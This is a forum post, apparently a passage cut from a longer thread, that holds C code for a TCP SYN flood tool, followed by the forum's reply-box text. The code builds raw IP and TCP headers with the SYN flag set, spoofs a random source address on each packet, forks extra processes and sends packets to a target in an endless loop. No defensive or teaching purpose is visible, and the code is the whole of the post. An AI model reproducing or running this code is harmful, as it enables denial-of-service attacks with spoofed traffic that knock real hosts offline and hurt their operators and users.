ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;
ip->ip_tos=0;
ip->ip_len=htons(head_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=addr->sin_addr;


tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;
tcp->check=0;

fork();
fork();

while(1)
{

ip->ip_src.s_addr=random();
printf("*");
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...